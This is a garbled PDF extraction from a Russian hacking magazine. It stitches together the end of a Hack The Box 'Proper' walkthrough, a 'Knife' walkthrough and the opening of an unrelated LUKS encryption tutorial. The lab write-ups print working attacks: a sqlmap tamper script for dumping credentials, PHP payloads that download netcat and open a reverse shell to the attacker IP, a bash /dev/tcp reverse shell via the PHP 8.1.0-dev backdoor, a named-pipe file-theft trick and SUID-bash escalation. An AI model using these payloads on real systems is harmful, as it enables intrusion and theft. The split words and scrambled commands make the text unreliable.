format=$format --wordlist=word hash

#!/bin/bash

IFS=$'
'

 john md5for entry in $( --list=subformats | grep )
do

  |    |     3 |     
1
 format="$(echo $entry tr -d ' ' cut -d '=' -f cut -d ':' -f
)"
   echo -e "\nFormat: $format ---------------------------------\n"

 word  john --format=$format --wordlist= hash
done

Ре зуль тат перебо ра алго рит мов

Для фор мата  ( ) перебор закон чился успешно. Так мы
под твержда ем свое пред положе ние и получа ем иско мый алго ритм хеширо- 
вания с исполь зовани ем соли.

dynamic_4 salt + word

Про вер ка алго рит ма хеширо вания с исполь зовани ем соли

ÒÎ×ÊÀ ÂÕÎÄÀ

Те перь мы можем манипу лиро вать зна чени ем парамет ров так, что бы они
обра баты вались при ложе нием. Текст ошиб ки натол кнул меня на мысль, что
мож но было бы написать tamper для sqlmap, хотя мы пока так и не уста нови ли
дос товер но, есть ли здесь воз можность SQL-инъ екции.

INFO

Тем перы — это скрип ты для sqlmap, которые пре- 
обра зуют его зап росы.

#!/usr/bin/env python

   from hashlib import md5
   from urllib.parse import quote_plus
   from lib.core.enums import PRIORITY

  __priority__ = PRIORITY.NORMAL

  def tamper(payload, **kwargs):
 '''
 '''
     h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()
      return quote_plus(payload) + "&h=" + h

Этот файл (я наз вал его ) нуж но раз местить в дирек тории 
 пос ле чего запус каем sqlmap и про веря ем, есть

ли уяз вимость. Нам нуж но ука зать наш тем пер в парамет ре , задать
опцию  для про вер ки, а так же то, что мы не хотим исполь зовать кодиро- 
вание URL.

sqlmap_tamper.py
,/usr/share/sqlmap/tamper

tamper
-p

  
  

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order 
--batch --skip-urlencode --tamper=sqlmap_tamper 

Ре зуль тат выпол нения sqlmap

И мы попали в точ ку: при ложе ние уяз вимо к time-based SQL-инъ екции, о чем
нам и сооб щил sqlmap. Эта чудо-прог рамма сох ранила у себя шаб лон наг- 
рузки для задан ного URL, поэто му мы можем спо кой но про дол жать работу
и дос тавать необ ходимые дан ные — к при меру, наз вания баз дан ных (опция 

).--dbs

  
 

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order 
--skip-urlencode --tamper=sqlmap_tamper --dbs

По луче ние имен баз дан ных с помощью sqlmap

Так мы получа ем три базы дан ных: слу жеб ная , тес товая
 и, ско рее все го, нуж ная нам база дан ных при ложе ния — .

Получим все таб лицы из базы опци ей , а саму базу ука зыва ем
в парамет ре .

information_schema
test cleaner

--tables
-D

  
 

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order 
--skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables

По луче ние таб лиц в базе cleaner с помощью sqlmap

В базе есть три таб лицы, и в одной из них дол жны быть учет ные дан ные. Ско- 
рее все го, нам подой дет таб лица . Получим наз вания стол бцов
опци ей , ука зав таб лицу в парамет ре .

customers
--columns -T

  
 

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order 
--skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers 
--columns

По луче ние стол бцов в таб лице customers с помощью sqlmap

Дей стви тель но, наш лись учет ные дан ные! Давай получим зна чения (опция 
 из стол бцов  и . Стол бцы ука зыва ем через запятую

в парамет ре .
)--dump login passwords

-C

  
 

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order 
--skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C 
login,password --dump

По луче ние учет ных дан ных

Из вле чение дан ных про исхо дит очень дол го, поэто му поп робу ем взло мать
уже получен ные хеши. Перебор с солью ни к чему не при вел, поэто му я поп- 
робовал взло мать хеш без соли при помощи . Это дало
резуль тат!

md5decrypt.net

Взло ман ные пароли поль зовате лей

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/OJ/gobuster
https://md5decrypt.net/


HTB PROPER
ПИШЕМ TAMPER ДЛЯ SQLMAP

И ЭКСПЛУАТИРУЕМ RACE CONDITION
ЧЕРЕЗ RFI

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Ав торизу емся с получен ными учет ными дан ными на сай те. Нам теперь откры- 
вают ся допол нитель ные воз можнос ти, одна из них — сме на цве товой темы.
При чем инте ресен сам спо соб ее сме ны: тема уста нав лива ется через
переда чу GET-парамет ра .theme

Стра ница сай та для авто ризо ван ных поль зовате лей

Сто ит про тес тировать GET-парамет ры так же, как и в прош лый раз. Если мы
изме ним или уда лим один из них, то нам сооб щат об обна руже нии ата ки.
Но раз мы зна ем, как осу щест вля ется под пись, давай ука жем зна чение,
которое будет обра бота но сер вером, к при меру .test

Соз дание под писи пер вого парамет ра

Ошиб ка при переда че зна чения test

Óÿçâèìîñòü RFI

Как мы видим из тек ста ошиб ки, из ука зан ной нами дирек тории под клю чает ся
файл  (стро ка 12) с помощью фун кции ,
и если в фай ле отсутс тву ет пос ледова тель ность сим волов  (стро ка 18), то
он добав ляет ся как include (стро ка 19).

header.inc file_get_contents
<?

Та ким обра зом, обра щение к фай лу про исхо дит дваж ды, а это озна чает
уяз вимость к ата ке типа race condition: перед про вер кой и вклю чени ем фай ла
его содер жимое воз можно изме нить.

Те перь про верим наличие уяз вимос ти remote le inclusion (RFI). Для это го
запус тим локаль ный веб-сер вер на осно ве Python 3, раз местим в этой дирек- 
тории файл  с любым содер жимым, соз дадим под пись для зап- 
роса фай ла на нашем сер вере и затем выпол ним зап рос.

header.inc

  echo "test" > header.inc 
   | echo -n 'hie0shah6ooNoimhttp://10.10.14.137' md5sum

python3 -m http.server 80 

Соз дание под писи

Вы пол нение зап роса

Óòå÷êà õåøà NTLM

Пос ле выпол нения зап роса в логах веб-сер вера уви дим обра щение к фай лу
. В отве те опять ошиб ка — на сер вере отклю чен . Давай

поп робу ем про токол SMB, в этом нам поможет скрипт  из пакета
. Запус тим локаль ный SMB-сер вер, сге нери руем новую под пись

и пов торим зап рос.

header.inc http://
smbserver

impacket

   | echo -n 'hie0shah6ooNoim//10.10.14.137/v' md5sum
 v . smbserver.py -ip 10.10.14.137 -smb2support

Соз дание под писи

Вы пол нение зап роса

Те перь видим уже дру гую ошиб ку, а так же попыт ку под клю чения к нашему
SMB-сер веру. Ско рее все го, проб лемы с аутен тифика цией. В логах сер вера
мы видим имя поль зовате ля и хеш NTLMv2.

Ло ги SMB-сер вера

Да вай поп робу ем сбру тить его с помощью hashcat.

web::PROPER:aaaaaaaaaaaaaaaa:62b...00 > hash.txt 
hashcat -m 5600 -a 0 hash.txt ~/tmp/tools/rockyou.txt 

Ре зуль тат перебо ра хеша поль зовате ля web

Те перь сно ва запус тим наш SMB-сер вер, но уже с аутен тифика цией, ука зав
учет ные дан ные целево го поль зовате ля. Затем прос то пов торим зап рос
к веб-сер веру.

 web   
 v . 

smbserver.py -ip 10.10.14.137 -username -password 'charlotte123!'
-smb2support

Вы пол нение зап роса

На стра нице отоб разилось содер жимое фай ла  с нашего SMB-
сер вера.

header.inc

Óÿçâèìîñòü race condition

Те перь, ког да все готово, перей дем к ата ке race condition. Нуж но соз дать
на Bash скрипт, который ста нет бес конеч но перепи сывать заново зна чение
фай ла . Так как пол ное копиро вание фай ла будет быс трее, чем
про изволь ная пол ная запись в файл, мы сде лаем два фай ла 
и  со сле дующим содер жимым:

header.inc
test.txt

shell.txt

# test.txt 
test 

# shell.txt 
 

 
<?php system("cmd /c powershell wget http://10.10.14.137/nc64.exe -O 
C:\\windows\\system32\\spool\\drivers\\color\\nc64.exe"); ?>

А теперь сам скрипт .race.sh

#!/bin/bash
 :  while ; do

 cp test.txt header.inc 
 cp shell2.txt header.inc 
done

За пус каем его, не забыв в дирек тории веб-сер вера раз местить ,
и перехо дим в Burp. Зап рос из Burp Repeater пересы лаем в Burp Intruder и в
нас трой ках зада ем тип наг рузки Null Payload и количес тво потоков — 1.

nc64.exe

Burp Intruder, вклад ка Payloads

Burp Intruder, вклад ка Options

Пос ле запус ка ата ки нуж но наб людать за логами веб-сер вера и пос тавить
ата ку на паузу, как толь ко там появит ся обра щение к фай лу .nc64.exe

Ло ги веб-сер вера

Так как netcat на сер вер уже заг ружен, перей дем к реверс-шел лу.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях удоб но исполь зовать  — readline-обо лоч ку, которая
в чис ле про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос- 
тупна в репози тории дис три бути ва — прос то выпол ни .

rlwrap

apt install rlwrap
В качес тве самого лис тенера при этом мож но исполь зовать широко

извес тный netcat: rlwrap nc -lvp 4321

А теперь изме ним файл .shell.txt

 
 

<?php system("cmd /c start C:\\windows\\system32\\spool\\drivers\\
color\\nc64.exe -e cmd.exe 10.10.14.137 4321"); ?>

Сно ва запус тим скрипт , про дол жим ата ку Burp Intruder и оста новим,
ког да в окне лис тенера появит ся бэк коннект.

race.sh

Флаг поль зовате ля

Так мы получа ем флаг поль зовате ля.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию. Я, как обыч но, делаю это при помощи скрип тов PEASS.

Справка: скрипты PEASS для Windows
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на локаль ный хост скрипт для Windows.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/
winPEASx64.exe -O wpeas.exe 

Те перь нуж но заг рузить его на уда лен ный хост. Дела ем это через уже
запущен ный веб-сер вер  с помощью того же . Пос- 
ле заг рузки необ ходимо выпол нить скрипт.

python3 powershell wget

  powershell wget http://10.10.14.137/wpeas.exe -O C:\windows\system32\
spool\drivers\color\wpeas.exe 
C:\windows\system32\spool\drivers\color\wpeas.exe 

Из все го, что я выделил, пока прос матри вал скрипт, ничего к явно му повыше- 
нию при виле гий при вес ти не может. Одна ко сре ди запущен ных служб есть
одна самопис ная, и этим сто ит поин тересо вать ся.

Об наружен ная с помощью winpeas служ ба

В дирек тории  находим и дирек торию служ бы ,
которая содер жит опи сание, и два исполня емых фай ла: сер верная и кли ент- 
ская час ти.

Program Files Cleanup

Со дер жимое дирек тории Cleanup

Заг рузим оба фай ла на локаль ный хост для ана лиза. В этом может помочь
уже заг ружен ный на хост Nmap. Мож но исполь зовать машину с Windows, но я
работаю в вир туал ке, так как основная сис тема — Linux.

Нач нем с кли ента. Прос то запус тив его, мы тут же получим ошиб ку, свя зан- 
ную с име нован ным каналом . Так же обра тим вни- 
мание на вывод текуще го пути.

\\.\pipe\cleanupPipe

Ошиб ка при запус ке кли ент ской час ти при ложе ния

Ес ли закинуть файл в дизас сем блер, то сра зу узна ем, что для его соз дания
был исполь зован язык прог рамми рова ния Go. В бинар никах, написан ных
на Go, выпол нение начина ется с фун кции . Най дем ее в спис ке
фун кций (он будет очень боль шой) и перей дем к ее пред став лению. Там мы
можем узнать, что у кли ента есть параметр  (в шес тнад цатерич ном виде —

), который при нима ет коман ды  или . Если прог рамма
запуще на без это го парамет ра, то по умол чанию выпол няет ся .

main_main()

-R
522Dh RESTORE CLEAN

CLEAN

Фраг мент гра фа фун кции main_main

В зависи мос ти от того, какая коман да выпол няет ся, может быть выз вана фун- 
кция  (крас ный блок) или  (синий блок).main_clean main_restore

Фраг мент гра фа фун кции main_main

Эти фун кции нуж ны для вызова фун кций 
и , меж ду которы ми лишь неболь шое раз личие. В обе- 
их фун кци ях откры вает ся уже зна комый нам име нован ный канал.

main_serviceClean
main_serviceRestore

Под клю чение к име нован ному каналу

За тем в обе их фун кци ях про исхо дит отправ ка коман ды и вве ден ной поль- 
зовате лем стро ки, то есть в пайп  пишут ся стро ки 
или , где  — поль зователь ский ввод.

cleanupPipe CLEAN %s
RESTORE %s %s

Фраг мент гра фа фун кции main_serviceClean

Фраг мент гра фа фун кции main_serviceRestore

Да вай про верим получен ную информа цию. Для это го запус тим сер вер
и переда дим в пайп дан ные как с помощью кли ента, так и прос то из коман- 
дной стро ки.

Вза имо дей ствие с сер вером

Мож но заметить, что при переда че коман ды через коман дную стро ку обре- 
зает ся пос ледний сим вол (вывод сер вера в пер вом и треть ем слу чае оди- 
наков). При этом нам говорят, что соот ветс тву юще го фай ла обна руже но
не было. О фай ле речь шла и при самом пер вом запус ке. Давай ука жем прог- 
рамме путь к фай лу.

Тес тирова ние прог раммы при переда че фай ла

Ни каких оши бок нет, при этом передан ный файл исчез. Так как до это го соот- 
ветс тву ющий файл прог рамма пыталась най ти в дирек тории 

, заг лянем в нее.
C:\

ProgramData\Cleanup

Со дер жимое целевой дирек тории

Де коди рова ние стро ки Base64

Мы наш ли файл, наз вание которо го — это пол ный путь отправ ленно го нами
фай ла, закоди рован ный Base64. А вос ста новить этот файл поможет коман да

.RESTORE

Вос ста нов ление фай ла

Ис ходный файл был пре обра зован и переме щен в дирек торию Cleanup,
а потом вос ста нов лен из нее. Выходит, мы можем получить дос туп к любому
фай лу, если смо жем манипу лиро вать путями. Давай сде лаем сле дующее:
1. В дирек тории соз даем ссыл ку на дирек торию адми на, тог да 

 будет ука зывать на .
C:\Users\

root\Documents\test\ C:\Users\root\Desktop\

Соз дание ссыл ки

2. Сох раня ем с помощью прог раммы файл по ссыл ке.

Сох ранение фай ла по одно му пути

3. Так как путь для вос ста нов ления фай ла сох ранен в тек сто вом виде
(Base64), мы уда ляем ссыл ку и соз даем дирек торию с таким же име нем.
Тог да при вос ста нов лении фай ла он будет сох ранен не по ссыл ке, а в
локаль ную дирек торию.

Вос ста нов ление фай ла по дру гому пути

Ис поль зуем этот экс пло ит уже на сер вере:

mklink /j r_exploit C:\Users\Administrator\Desktop
echo CLEAN C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\
cleanupPipe
rmdir r_exploit
mkdir r_exploit
echo RESTORE C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\
cleanupPipe
type r_exploit\root.txt

Файл рута

Мы получи ли флаг рута и зах ватили машину.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py
https://github.com/SecureAuthCorp/impacket
https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ЭКСПЛУАТИРУЕМ
НАШУМЕВШИЙ БЭКДОР

В ЯЗЫКЕ PHP

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой прой дем лег кую
машину под наз вани ем Knife с пло щад ки

. Ее изю мин ка — это поразив- 
ший всех, но быс тро обна ружен ный
и запат ченный бэк дор в PHP 8.1.0-dev. Мы
раз берем ся, что же все-таки делать, если
вдруг попалась такая экзо тика, а так же
прой дем весь путь от поис ка уяз вимос тей
до зах вата хос та.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP машины в , что бы даль ше обра щать ся по удоб ному
адре су и не печатать IP.

/etc/hosts

10.10.10.242    knife.htb 

И ска ниру ем пор ты.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат ска ниро вания

Мы наб люда ем два откры тых пор та: 22 (служ ба SSH) и 80 (Apache 2.4.41).
На SSH нам пока делать нечего, поэто му будем изу чать сайт.

Глав ная стра ница сай та

На самом сай те не находим ничего инте рес ного — там есть нес коль ко скрип- 
тов на JS, но они для нас бес полез ны.

Нам нуж но про вес ти более глу бокий ана лиз. Для это го есть, к при меру,
ути лита  — она рас позна ет веб-тех нологии, в том чис ле сис тему
управле ния кон тентом (CMS), плат формы для ведения бло гов, пакеты ста тис- 
тики и ана лити ки, биб лиоте ки JavaScript, веб-сер веры и дру гие вещи. К тому
же к WhatWeb есть более 1700 пла гинов, которые мож но исполь зовать
в агрессив ном режиме ска ниро вания. Но если запус тить прог рамму с нас- 
трой ками по умол чанию, то будет выпол нен все го один зап рос.

WhatWeb

Ре зуль тат ска ниро вания WhatWeb

Из всей пред став ленной информа ции наибо лее инте ресен заголо вок 
 по которо му опре делим вер сию . Сло во 

озна чает, что вер сия PHP тес товая, а зна чит, в ней могут быть уяз вимос ти.
Поищем их!

,X-Powered-By PHP 8.1.0-dev dev

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты при помощи Google, пос коль ку
этот поис ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско- 
рят дело спе циали зиро ван ные базы вро де  — там час то мож но
обна ружить под ходящие вари анты. Если ты работа ешь в спе циали зиро ван- 
ной ОС вро де , то эта база у тебя уже есть и для поис ка мож но
исполь зовать ути литу .

Exploit-DB

Kali Linux
searchsploit

По иск экс пло итов для PHP 8.1.0-dev

Это как раз тот слу чай, ког да  нам не помог ла, а вот в Google
уда лось най ти кое-что инте рес ное.

searchsploit

ÒÎ×ÊÀ ÎÏÎÐÛ

Вер сия  была выпуще на с бэк дором, но раз работ чики быс тро
обна ружи ли его и уда лили в релизе.

PHP 8.1.0-dev

Ес ли эта вер сия PHP работа ет на сер вере, зло умыш ленник может выпол- 
нить про изволь ный код, отпра вив заголо вок . Как мож но
заметить, если изу чить , код выпол няет ся в фун кции

, если стро ка из HTTP-заголов ка  начина ется
с .

User-Agentt
ис ходни ки

zend_eval_string User-Agentt
zerodium

Уяз вимый код из репози тория на GitHub

Для экс плу ата ции уяз вимос ти мож но исполь зовать ,
он даст нам RCE.

экс пло ит Ричар да Джон са

 python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id'

Ре зуль тат работы экс пло ита

И сра зу кида ем реверс-шелл.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

apt install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

 rlwrap nc -lvp [port] 

Вы пол няем под клю чение и ловим бэк коннект.

 python3 php_8.1.0-dev.py -u http://knife.htb/ -c "/bin/bash -c 'bash 
-i >&/dev/tcp/[ip]/[port] 0>&1'"

Бэк коннект от сер вера

В дирек тории  находим пару клю чей поль зовате ля. Так
как соеди нение SSH более ста биль ное, копиру ем при ват ный ключ на локаль- 
ный хост, наз нача ем пра ва 0600 и под клю чаем ся к хос ту. Так мы берем флаг
поль зовате ля.

/home/james/.ssh

chmod +x id_rsa 
ssh -i ./id_rsa james@knife.htb 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом про веря ем наибо лее веро ятные мес та повыше ния при виле- 
гий — в пер вую оче редь нас трой ки sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

sudoers

В sudoers про писан при виле гиро ван ный запуск прог раммы 
без пароля (NOPASSWD). Этот файл — ссыл ка на прог рамму в дирек тории 

 которая, воз можно, свя зана с язы ком прог рамми рова ния Ruby. Об этом
говорит упо мина ние сло ва gem, что, ско рее все го, ука зыва ет на исполь- 
зование сис темы управле ния пакета ми RubyGems.

/usr/bin/knife

,/opt

Под робное пред став ление ссыл ки /usr/bin/knife

Со дер жимое дирек тории /opt/chef-workstation

Пос мотрим справ ку при ложе ния. Здесь инте рес на коман да , которая
при нима ет один аргу мент — путь к скрип ту (не счи тая аргу мен тов самого
скрип та).

exec

Справ ка для коман ды exec прог раммы knife

Что это за скрипт, не говорит ся, но мы пом ним намек на RubyGems. Сде лаем
тес товый скрипт на Ruby, который выводит стро ку , и отда дим
его при ложе нию.

Hello World!

  echo 'puth "Hello World!"' > test.rb 
sudo /usr/bin/knife exec test.rb 

За пуск целево го при ложе ния c соз данным скрип том

Скрипт успешно отра ботал, а зна чит, оста лось лишь изме нить его, что бы он
выпол нял нуж ные нам коман ды. Исполь зовать фун кцию , что бы запус- 
тить реверс-шелл, не получи лось, поэто му приш лось искать дру гие спо собы
зак репить ся в при виле гиро ван ном кон тек сте. Нап ример, мож но записать
клю чи SSH, соз дать при виле гиро ван ных поль зовате лей и так далее. Я решил
наз начить бит SUID обо лоч ке .

system

/bin/bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

  echo "system('chmod +s /bin/bash')" > test.rb 
sudo /usr/bin/knife exec test.rb 
/bin/bash -p

Флаг рута

Мы получа ем флаг рута и таким обра зом зах ватыва ем машину.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/urbanadventurer/WhatWeb
https://www.exploit-db.com/
https://www.kali.org/
https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
https://dl.packetstormsecurity.net/2105-exploits/php_8.1.0-dev.py.txt
https://github.com/hanslub42/rlwrap
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ТРЮКИ

Се год ня пол нодис ковое шиф рование — это нор ма.
В Windows для это го есть BitLocker, в macOS — FileVault
и APFS. В Linux для тех же целей слу жит dm-crypt и LUKS.
В этой статье я покажу, как уста новить ОС на шиф рован ный
кор невой раз дел, нас тро ить авто раз бло киров ку при заг- 
рузке с помощью модуля TPM и новой фичи systemd-
cryptsetup, а так же резер вировать ключ вос ста нов ления
в Active Directory. Все трю ки будем делать в , хотя
ты с лег костью смо жешь пов торить их в сво ем любимом дис- 
три бути ве.

Arch Linux

Шиф рование дис ков в Linux реали зует ся с помощью под систе мы 
Crypto API (встро ено в ядро начиная с вер сии 2.6). Под систе ма dm-crypt
работа ет бла года ря модулю ядра, который отоб ража ет шиф рован ный диск
в вир туаль ное устрой ство. На вид оно ничем не отли чает ся от обыч ного блоч- 
ного устрой ства хра нения дан ных. Для управле ния клю чами шиф рования
исполь зует ся раз дел  (Linux Unied Key Setup). Фор мат LUKS поз воля ет
исполь зовать до вось ми клю чей шиф рования для одно го раз дела.

dm-crypt

LUKS

INFO

Чи тай так же: «
» и « ».

Пол нодис ковое шиф рование
с LUKS2 Бэк дор для LUKS

ÊÀÊ ÓÑÒÐÎÅÍ ÐÀÇÄÅË LUKS

Раз дел LUKS име ет сле дующий фор мат.

Он начина ется с заголов ка , далее за ним сле дуют сло ты с клю чевы ми
дан ными (KM1, KM2, ..., KM8). За клю чевы ми дан ными рас полага ются дан ные,
шиф рован ные мас тер-клю чом.

phdr

За голо вок  хра нит информа цию о про токо ле и режиме шиф рования,
дли ну клю чей, иден тифика тор UUID и кон троль ную сум му мас тер-клю ча.

phdr

В LUKS для одно го зашиф рован ного раз дела зарезер вирова но восемь
сло тов, в каж дом из которых может хра нить ся отдель ный ключ. Любой
из вось ми клю чей может быть исполь зован для рас шифров ки раз дела.

За голо вок и сло ты клю чей мож но хра нить на дру гом физичес ком носите- 
ле, отдель но от зашиф рован ных дан ных, тем самым реали зуя мно гофак- 
торную защиту. Но при утра те заголов ка или сло тов получить дос туп к зашиф- 
рован ным дан ным ста новит ся невоз можно.

Для управле ния шиф ровани ем дис ков исполь зует ся ути лита .cryptsetup
С помощью этой ути литы воз можно:
соз давать шиф рован ные раз делы LUKS;•
от кры вать и зак рывать раз делы LUKS;•
уп равлять сло тами клю чей;•
дам пить заголо вок LUKS и мас тер-ключ.•

Для работы  тре буют ся пра ва супер поль зовате ля и пароль шиф- 
рования.

cryptsetup

ØÈÔÐÓÅÌ

Пе рехо дим к прак тике! Шиф ровать мы будем толь ко рутовый раз дел. Есть,
конеч но, экзо тичес кие кей сы, ког да, помимо раз дела , шиф рует ся еще и
раз дел , но такая кон фигура ция под держи вает ся не все ми заг рузчи ками
и не счи тает ся стан дар тной и рекомен дован ной. Мы же вооб ще не будем
исполь зовать заг рузчик, так что оставля ем  в покое и шиф руем все
осталь ное.

root
boot

boot

Нач нем собирать нашу сис тему, заг рузив шись с уста новоч ного дис ка.
Для начала раз метим диск сле дующим обра зом:  для , 

для . Схе му раз делов выбира ем GPT.
sda1 /boot sda2

/

 

 

 
 

$ parted /dev/sda mklabel gpt mkpart primary fat32 1MiB 501MiB
$ parted /dev/sda set 1 esp on
$ parted /dev/sda mkpart primary btrfs 501MiB 100%

Да лее соз дадим наш LUKS на sda2.

 

 

 

 

$ cryptsetup luksFormat /dev/sda2

WARNING! 
 

This will overwrite data on /dev/sda2 irrevocably.
========

Are you sure? (Type 'yes' in capital letters): YES 
Enter passphrase for /dev/sda2: 
Verify passphrase: 
cryptsetup luksFormat /dev/sda2  18.16s user 1.88s system 80% cpu 24.742 
total

Взгля нем теперь на LUKS.

 

 

 

 

 
LUKS header information 
Version:        2 
Epoch:          3 
Metadata area:  16384 [bytes] 
Keyslots area:  16744448 [bytes] 
UUID:           e04b5b87-6bfc-4f73-83b0-36f91d52f141 
Label:          (no label) 
Subsystem:      (no subsystem) 
Flags:          (no flags)

$ cryptsetup luksDump /dev/sda2

Data segments: 
  0: crypt 
    offset: 16777216 [bytes] 
    length: (whole device) 
    cipher: aes-xts-plain64 
    sector: 512 [bytes]

Keyslots: 
  0: luks2 
    Key:        512 bits 
    Priority:   normal 
    Cipher:     aes-xts-plain64 
    Cipher key: 512 bits 
    PBKDF:      argon2i 
    Time cost:  7 
    Memory:     483194 
    Threads:    2 
    Salt:       a8 d7 82 ce 89 c8 0f d6 29 18 83 e5 5d 9d a7 f1 
                a2 6d 66 81 70 db c4 82 cc fb ae 81 4c 7f ed 0c 
    AF stripes: 4000 
    AF hash:    sha256 
    Area offset:32768 [bytes] 
    Area length:258048 [bytes] 
    Digest ID:  0 
Tokens: 
Digests: 
  0: pbkdf2 
    Hash:       sha256 
    Iterations: 149967 
    Salt:       87 ac 6f 61 75 fb 91 14 63 5d ca 5d 1c 25 ef 42 
                7b af 51 63 34 eb 26 d5 d7 be 7a 78 7b 2a 25 f1 
    Digest:     da e7 fd 26 59 85 5d 5e 34 79 2a fa 20 95 f1 83 
                13 10 0d 0e a3 58 a6 0e 33 b0 f0 73 e8 0a a1 1e

Вид но, что мы задей ство вали один из вось ми дос тупных сло тов с клю чами —
дос туп к нему огра ничен паролем.

Ал горитм шиф рования по умол чанию ( ) нас устро ит.
Перечень всех под держи ваемых алго рит мов зависит от ядра (заг ляни 

 Мож но про тес тировать работу с ними.

aes-xts-plain64

в )./proc/crypto

 

 

 
 

PBKDF2-sha1      1817289 iterations per second for 256-bit key 
PBKDF2-sha256    2302032 iterations per second for 256-bit key 
PBKDF2-sha512    1646116 iterations per second for 256-bit key 
PBKDF2-ripemd160  903944 iterations per second for 256-bit key 
PBKDF2-whirlpool  681778 iterations per second for 256-bit key 
argon2i    N/A 
argon2id   N/A 

 
        aes-cbc        128b      1126.9 MiB/s      2966.7 MiB/s 
    serpent-cbc        128b        98.6 MiB/s       736.0 MiB/s 
    twofish-cbc        128b       226.0 MiB/s       404.9 MiB/s 
        aes-cbc        256b       868.5 MiB/s      2594.2 MiB/s 
    serpent-cbc        256b       107.9 MiB/s       779.9 MiB/s 
    twofish-cbc        256b       241.6 MiB/s       433.4 MiB/s 
        aes-xts        256b      3152.7 MiB/s      3146.5 MiB/s 
    serpent-xts        256b       676.5 MiB/s       665.9 MiB/s 
    twofish-xts        256b       400.6 MiB/s       410.4 MiB/s 
        aes-xts        512b      2614.9 MiB/s      2600.2 MiB/s 
    serpent-xts        512b       687.1 MiB/s       711.3 MiB/s 
    twofish-xts        512b       413.0 MiB/s       417.2 MiB/s 
cryptsetup benchmark  9.54s user 23.98s system 107% cpu 31.226 total

$ cryptsetup benchmark
# Tests are approximate using memory only (no storage IO)

